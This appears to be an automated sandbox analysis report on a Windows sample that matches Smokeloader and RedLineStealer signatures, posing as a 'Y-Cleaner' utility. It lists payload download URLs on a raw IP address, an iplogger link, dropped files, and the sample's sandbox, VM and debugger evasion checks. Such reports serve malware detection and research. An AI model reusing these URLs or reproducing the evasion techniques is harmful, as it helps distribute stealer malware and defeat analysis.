Source: file.exe, 00000000.00000003.2070092749.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2019800686.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1943694778.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1969541757.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2095305096.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161691845.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2120575790.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1994661393.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2044929243.000000000583C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1917806207.000000000583C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadg
Source: file.exe, 00000000.00000003.2161691845.000000000583E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/soft/download
Source: file.exe, 00000000.00000003.2193216887.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161691845.000000000583E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/soft/download3
Source: file.exe, 00000000.00000002.2444801798.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/soft/downloadMT
Source: Amcache.hve.6.dr	String found in binary or memory: http://upx.sf.net
Source: file.exe, 00000000.00000003.2193216887.00000000057FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2193331368.000000000565F000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	String found in binary or memory: http://www.ccleaner.comqhttps://take.rdrct-now.online/go/ZWKA?p78705p298845p1174
Source: file.exe, 00000000.00000003.2193216887.00000000057FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2193331368.000000000565F000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	String found in binary or memory: https://g-cleanit.hk
Source: file.exe, 00000000.00000003.2193216887.00000000057FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2193331368.000000000565F000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	String found in binary or memory: https://iplogger.org/1Pz8p7

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.2444736465.0000000000D3C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D2FD00		0_3_04D2FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D2DF87		0_3_04D2DF87
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D39706		0_3_04D39706
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D23120		0_3_04D23120
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D222C0		0_3_04D222C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D2E2C9		0_3_04D2E2C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D34AEE		0_3_04D34AEE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D2AA90		0_3_04D2AA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D35219		0_3_04D35219
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D24350		0_3_04D24350
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00403D20		0_2_00403D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402EC0		0_2_00402EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00404F50		0_2_00404F50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00410900		0_2_00410900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041A306		0_2_0041A306
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040EB87		0_2_0040EB87
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00415E19		0_2_00415E19
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040EEC9		0_2_0040EEC9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004156EE		0_2_004156EE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040B690		0_2_0040B690
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_1000E184		0_2_1000E184
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_100102A0		0_2_100102A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099C09B		0_2_0099C09B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00993C90		0_2_00993C90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00829024		0_2_00829024
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099084B		0_2_0099084B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F646C		0_2_008F646C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099F473		0_2_0099F473
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A29BD		0_2_009A29BD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0087C9C2		0_2_0087C9C2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00998D18		0_2_00998D18
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0084691D		0_2_0084691D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A1122		0_2_009A1122
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0084AE93		0_2_0084AE93
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00944688		0_2_00944688
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009956D8		0_2_009956D8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099E258		0_2_0099E258
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00997254		0_2_00997254
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00824BCF		0_2_00824BCF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098EB28		0_2_0098EB28
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008DD377		0_2_008DD377
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B651B7		0_2_04B651B7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B6EDEE		0_2_04B6EDEE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B63F87		0_2_04B63F87
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B6B8F7		0_2_04B6B8F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B651B7		0_2_04B651B7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B6F130		0_2_04B6F130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B75955		0_2_04B75955
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B70B67		0_2_04B70B67

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1] F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1] 614A0362AB87CEE48D0935B5BB957D539BE1D94C6FDEB3FE42FAC4FBE182C10C

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 04B6A9C7 appears 34 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 0040A760 appears 35 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 10003160 appears 32 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 04D29B60 appears 34 times

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5480 -s 1728

Source: file.exe

Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: file.exe, 00000000.00000003.2194415217.000000000615B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameY-Cleaner.exe4 vs file.exe
Source: file.exe, 00000000.00000003.2194694427.00000000057C3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBunifu_UI_v1.5.3.dll4 vs file.exe
Source: file.exe, 00000000.00000003.2194249962.00000000057A9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBunifu_UI_v1.5.3.dll4 vs file.exe

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.2444736465.0000000000D3C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12

Source: Y-Cleaner.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: soft[1].0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.evad.winEXE@2/15@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00402A20 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree,

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D3D1DE CreateToolhelp32Snapshot,Module32First,

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00401940 HttpAddRequestHeadersA,InternetSetFilePointer,InternetReadFile,HttpQueryInfoA,CoCreateInstance,

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\add[1].htm

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5480

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\Gw22fw4wYfffwGJG

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Command line argument: emp		0_2_00408770
Source: C:\Users\user\Desktop\file.exe	Command line argument: mixtwo		0_2_00408770

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5480 -s 1728

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msimg32.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcr100.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: linkinfo.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntshrui.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cscapi.dll			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Cleaner.lnk.0.dr

LNK file: ..\AppData\Local\Temp\Gw22fw4wYfffwGJG\Y-Cleaner.exe

Source: file.exe

Static file information: File size 2009600 > 1048576

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe

Static PE information: Raw size of ianscrqt is bigger than: 0x100000 < 0x1b8800

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.400000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ianscrqt:EW;dbzeaxxe:EW;.taggant:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Source: Y-Cleaner.exe.0.dr

Static PE information: 0xA0CED55F [Tue Jun 29 19:19:59 2055 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: dll[1].0.dr	Static PE information: real checksum: 0x0 should be: 0x400e1
Source: Bunifu_UI_v1.5.3.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x400e1
Source: soft[1].0.dr	Static PE information: real checksum: 0x0 should be: 0x170243
Source: Y-Cleaner.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x170243
Source: file.exe	Static PE information: real checksum: 0x1f7222 should be: 0x1f21b8

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: ianscrqt
Source: file.exe	Static PE information: section name: dbzeaxxe
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D295F7 push ecx; ret		0_3_04D2960A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D4037D push esi; ret		0_3_04D40386
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040A1F7 push ecx; ret		0_2_0040A20A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00421B7D push esi; ret		0_2_00421B86
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_1000E891 push ecx; ret		0_2_1000E8A4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099C09B push 63711EA5h; mov dword ptr [esp], edi		0_2_0099C0A9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099C09B push esi; mov dword ptr [esp], eax		0_2_0099C0BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099C09B push eax; mov dword ptr [esp], 779D7944h		0_2_0099C132
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099C09B push edx; mov dword ptr [esp], eax		0_2_0099C35A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099C09B push edi; mov dword ptr [esp], 78BA6400h		0_2_0099C404
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099C09B push 269C2E2Fh; mov dword ptr [esp], ebx		0_2_0099C47E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099C09B push eax; mov dword ptr [esp], ebp		0_2_0099C4C5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099C09B push ebp; mov dword ptr [esp], 09C550D8h		0_2_0099C519
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099C09B push ecx; mov dword ptr [esp], esi		0_2_0099C554
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099C09B push 16096155h; mov dword ptr [esp], ecx		0_2_0099C565
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099C09B push edi; mov dword ptr [esp], edx		0_2_0099C59D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099C09B push ebx; mov dword ptr [esp], esp		0_2_0099C5CA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099C09B push edi; mov dword ptr [esp], 5E92042Fh		0_2_0099C5DB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099C09B push ebx; mov dword ptr [esp], eax		0_2_0099C69B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099C09B push 6B5B41F3h; mov dword ptr [esp], edi		0_2_0099C6C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099C09B push 4EFD4461h; mov dword ptr [esp], ecx		0_2_0099C6DC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099C09B push esi; mov dword ptr [esp], edx		0_2_0099C70B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099C09B push ecx; mov dword ptr [esp], edi		0_2_0099C73F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099C09B push ebx; mov dword ptr [esp], ecx		0_2_0099C75C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099C09B push 5C562B80h; mov dword ptr [esp], ecx		0_2_0099C7CA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099C09B push ebp; mov dword ptr [esp], edi		0_2_0099C7D4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099C09B push 2D8B2C62h; mov dword ptr [esp], edi		0_2_0099C836
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099C09B push edx; mov dword ptr [esp], edi		0_2_0099C8DD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099C09B push 7240C880h; mov dword ptr [esp], eax		0_2_0099C8E7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099C09B push eax; mov dword ptr [esp], edx		0_2_0099CA17
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099C09B push ebx; mov dword ptr [esp], ebp		0_2_0099CA33

Source: file.exe	Static PE information: section name: ianscrqt entropy: 7.940739839862975
Source: Y-Cleaner.exe.0.dr	Static PE information: section name: .text entropy: 7.918511524700298
Source: soft[1].0.dr	Static PE information: section name: .text entropy: 7.918511524700298

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Gw22fw4wYfffwGJG\Bunifu_UI_v1.5.3.dll			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Gw22fw4wYfffwGJG\Y-Cleaner.exe			Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass			Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A2515 second address: 9A2519 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A2519 second address: 9A2534 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFC6B7947h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A7A17 second address: 9A7A23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FBCFCCB5996h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
